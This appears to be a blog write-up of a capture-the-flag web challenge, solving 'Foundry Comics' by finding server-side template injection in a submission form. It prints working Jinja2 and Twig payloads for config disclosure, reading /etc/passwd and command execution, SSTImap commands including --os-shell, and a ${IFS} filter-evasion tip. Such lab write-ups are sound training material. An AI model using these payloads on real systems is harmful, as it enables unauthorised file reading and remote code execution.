Post

Webverselabs Foundry Comics Challenge SSTI

Webverselabs Foundry Comics Challenge SSTI

Scenario :

Foundry Comics is a three-person riso-print outfit in Gowanus that publishes single-issue runs by emerging cartoonists. In 2022 they picked up a defunct submission portal off another small press that was winding down — quicker than rebuilding from scratch. The portal works, but the migration was never finished: returning creators get routed through whichever bucket the cookie says they belong to, and the two buckets were never fully merged.

Solution :

First we start by navigating the application just like a normal user , to try and check different endpoints , functionalities , and just the normal workflow of the web application .

image

I tried FUZZING for additional endpoints , but didn’t get any additional ones , Looking at the different endpoints :

/Catalog :

image

This is just a collection of images submitted by the users .

image

If we check each image , we see that we can add it to our cart , but that doesn’t lead us anywhere .

image

The /about page isn’t useful either , just a bunch of pictures with a description for each one .

But we see that we have the possibility to Submit our own Work in the /submit section .

image

I assume our submition will be sent as a POST request to the server , let’s try and do a normal submition just to see how it would look like .

image

Now before it gets added , we see that we have the option to privew our submition :

image

If we check Burp’s History :

image

It is indeed a POST Request , notice how everything we entered got rendered back to us , this is a huge indicator that there might be an SSTI vulnerability here .

I already have a detailed section on my Web_App methdology for SSTI injections that i will be following :

1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
1
2
3
4
5
# Detection payload:
${7*7}
{{7*7}}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/

Exploitation : Jinja2

1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}

# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Exploitation : Twig

1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}

# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}

# 3/ RCE :
{{ ['id'] | filter('system') }}

Automation :

1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

Now first i injected a simple payload 7*7 and based on the response we would know wether or not our code was executed and if we have an SSTI or not , if we get 49 rendered to us this means we got our code executed .

After that based on the Response we get from the server , we would know which Engine is being used . We will follow this diagram from Payload All the Things .

image

Now if we go back to our Request and add the payload :

image

We see that our code was acutally executed , and we get the response on the pitch section whih confirms the pitch parameter is vlnerable to an SSTI .

Now we can move to see which engine is being used , to save time i injected the payloads for Jinja2 first , if it won’t work then that will confirm it is Twig .

image

Injecting Jinja payloads doesn’t return anything which tells us it isn’t the engine that is being used here .

Let’s try a simple Information Disclosure payload for Twig :

image

Perfect , this confirms that it is Twig , from here we can use the LFI payload to read the flag , it is always located in /flag.txt .

image

The LFI payload didn’t work for me so i decided to use our RCE to Read the flag .

image

Just make sure you don’t use space , use ${IFS} instead , or any other way to bypass space filters otherwise it won’t work (and ofc URL encode everything) .

image

That was all for this challenge , see you in the next one .

This post is licensed under CC BY 4.0 by the author.